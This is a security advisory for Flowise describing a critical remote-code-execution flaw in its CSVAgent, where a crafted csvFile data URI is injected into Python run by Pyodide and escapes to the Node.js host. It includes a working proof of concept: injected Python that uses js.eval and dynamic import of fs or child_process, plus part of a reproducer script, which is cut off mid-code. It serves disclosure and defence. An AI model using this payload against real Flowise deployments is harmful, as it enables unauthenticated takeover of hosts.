GitHub Advisoryadvisory · npm

GHSA-4j8x-x6v7-w9rq Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation

CRITICAL Published 2026-08-04 Modified 2026-08-04 Official page ↗
Aliases
CVE-2026-69264
Ecosystem
npm
Packages
flowise, flowise-components
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-94, CWE-95
Reviewed
2026-08-04

Affected packages

• npm flowise: < 3.1.3 → fixed in 3.1.3 • npm flowise-components: < 3.1.3 → fixed in 3.1.3

Description

Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCodeForDataFrame` and `validateCustomReadCSVFunction`) are never applied to the bootstrap template. A workspace user with `chatflows:create` (or any `agentflows`/`chatflows` update permission) plants a CSV Agent node with a crafted `csvFile`. Once the chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id` endpoint, *any unauthenticated* request triggers the host RCE. Details Vulnerable file: `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` The `run()` method extracts the file segment from the data URI by splitting on `,` and using two `pop()` calls (lines 127–138): ```ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] } for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } } ``` The captured `base64String` is then interpolated verbatim into a Python source string at lines 156–171: ```ts const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" // ← line 161: interpolation sink decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink ``` Validator gaps: • `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but this only validates the `customReadCSV` field, not `base64String`. • `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only against the *LLM-emitted* Python that runs later — never against this bootstrap template. • No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before interpolation. Pyodide configuration (`packages/components/nodes/agents/CSVAgent/core.ts`, lines 7–16): ```ts export async function LoadPyodide(): Promise { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance } ``` Pyodide is loaded with default options. On Node.js, the default `js` module inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and top-level dynamic `import()`. From injected Python, the attacker runs: ```python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" ) ``` …which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting `await import('child_process')` for `await import('fs')` yields arbitrary OS-command execution via `cp.execSync(...)` with the same primitive. > Node-version note. The original PoC for this issue used > `js.process.mainModule.require("child_process")`, which is a one-liner but > only works on Node ≤ 13 because `process.mainModule` was deprecated and now > returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form > above works on any Node 13.2+ in both CommonJS and ESM contexts, and was > confirmed end-to-end against a stock `[email protected]` running on Node > 20.20.2 — see Verified end-to-end against live Flowise > below. Trigger path (post-plant): the route `POST /api/v1/prediction/:id` is in `WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the chatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates `CSVAgent`, and executes the malicious bootstrap. PoC Verified end-to-end on the cloned repo (commit `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit was based on). Reproducer setup Two files. Save the first as `package.json`, the second as `repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the same directory. `package.json`: ```json { "name": "poc-flowise-s1", "version": "1.0.0", "type": "commonjs", "dependencies": { "pyodide": "^0.29.3" } } ``` `repro_a1_pyodide.js` — mirrors `CSVAgent.ts:127-138` (the data-URI parser) and `:156-171` (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side `split(',')`. ```js // Full host-RCE PoC for Flowise CSVAgent base64-injection. // // Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs // the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled // csvFile data URI. Demonstrates: // 1. JS-side template-literal interpolation produces malicious Python // 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path) // 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic // import('fs') -> host file write // // CONSTRAINTS: // * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2] // of the data URI is what becomes `base64_string`, so this segment must // contain NO raw `,` bytes. // * Inside a Python double-quoted string literal, `,` is the escape // for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`, // `2`, `c` (no commas), but Python's lexer turns them into commas at // runtime — letting us pass multiple arguments to JS functions inside // the Python source. // // NODE-VERSION NOTE: an earlier revision of this PoC used // `cp = js.process.mainModule.require("child_process"); cp.execSync(...)` // which is shorter but only works on Node ≤ 13 — `process.mainModule` was // deprecated and now returns `undefined` on Node 14+, so the inner // `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form // below works on any Node 13.2+ in both CommonJS and ESM contexts and was // confirmed end-to-end against `[email protected]` running on Node 20.20.2. const fs = require('fs') const path = require('path') const { loadPyodide } = require('pyodide') const proofName = 'flowise_a1_pyodide_proof.txt' const proofPath = path.resolve(__dirname, proofName) const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import' // --- Attacker payload (Python; comma-free) ---------------------------------- // Closes the `base64_string = "` literal with `";`, runs malicious Python, // then `#` comments out the surviving closing `"` so the rest of the // bootstrap template still parses. const pythonInjection = '";\n' + 'import js\n' + `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` + '#' // Sanity: any commas would fragment the injection on the JS side. if (pythonInjection.includes(',')) { throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")') } const csvFile = `data:text/cs…

Related

Alias · CVE (1)

  • CVE-2026-69264 Prior to 3.1.3, Flowise CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code… vulnerability

Weakness · CWE (2)

  • CWE-94 Improper Control of Generation of Code weakness
  • CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code weakness

References